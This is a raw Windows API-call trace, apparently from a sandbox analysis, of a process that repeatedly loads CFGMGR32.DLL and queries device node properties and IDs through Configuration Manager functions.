[0246.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.908] malloc (_Size=0x18) returned 0x20abc281e00 [0246.908] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.911] malloc (_Size=0x48) returned 0x20abc27cf80 [0246.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4eeebe7e, dwHighDateTime=0x1d9eb0c)) [0246.911] SetEvent (hEvent=0x248) returned 1 [0246.917] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.917] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.921] malloc (_Size=0x18) returned 0x20abc281fc0 [0246.921] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3a, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0246.922] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4ef13bc8, dwHighDateTime=0x1d9eb0c)) [0246.922] SetEvent (hEvent=0x248) returned 1 [0247.057] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.057] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.062] malloc (_Size=0x18) returned 0x20abc281fa0 [0247.062] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3a, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0247.062] malloc (_Size=0x48) returned 0x20abc27cb20 [0247.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4f069547, dwHighDateTime=0x1d9eb0c)) [0247.063] SetEvent (hEvent=0x248) returned 1 [0247.067] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.067] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.071] malloc (_Size=0x18) returned 0x20abc281f60 [0247.072] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0247.072] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f08f840, dwHighDateTime=0x1d9eb0c)) [0247.073] SetEvent (hEvent=0x248) returned 1 [0247.079] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.079] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.083] malloc (_Size=0x18) returned 0x20abc281b20 [0247.083] CM_Get_Device_IDA (in: dnDevInst=0x3b, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\SYSTEM\\0000") returned 0x0 [0247.083] malloc (_Size=0x48) returned 0x20abc27cb20 [0247.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4f08f840, dwHighDateTime=0x1d9eb0c)) [0247.084] SetEvent (hEvent=0x248) returned 1 [0247.088] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.088] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.091] malloc (_Size=0x18) returned 0x20abc281b80 [0247.092] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0247.092] malloc (_Size=0x1a) returned 0x20abc2a9d30 [0247.092] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9d30, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9d30, pulLength=0x2dc22fd3f8) returned 0x0 [0247.093] free (_Block=0x20abc2a9d30) [0247.093] malloc (_Size=0x48) returned 0x20abc27cb20 [0247.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4f0b5ee9, dwHighDateTime=0x1d9eb0c)) [0247.093] SetEvent (hEvent=0x248) returned 1 [0247.096] malloc (_Size=0x18) returned 0x20abc281e00 [0247.097] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0247.097] free (_Block=0x20abc281e00) [0247.097] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d270 [0247.097] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0247.097] SafeArrayGetLBound (in: psa=0x20abbaf22a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0247.097] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0247.097] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79670 [0247.097] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0247.097] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0247.097] SafeArrayGetElemsize (psa=0x20abbaf22a0) returned 0x8 [0247.097] SafeArrayGetElement (in: psa=0x20abbaf22a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0247.097] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4020a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0247.098] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79670) returned 1 [0247.098] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d270) returned 1 [0247.099] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.099] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.247] malloc (_Size=0x18) returned 0x20abc281d60 [0247.248] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0247.248] malloc (_Size=0x48) returned 0x20abc27cb20 [0247.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4f2330f0, dwHighDateTime=0x1d9eb0c)) [0247.248] SetEvent (hEvent=0x248) returned 1 [0247.252] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.252] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 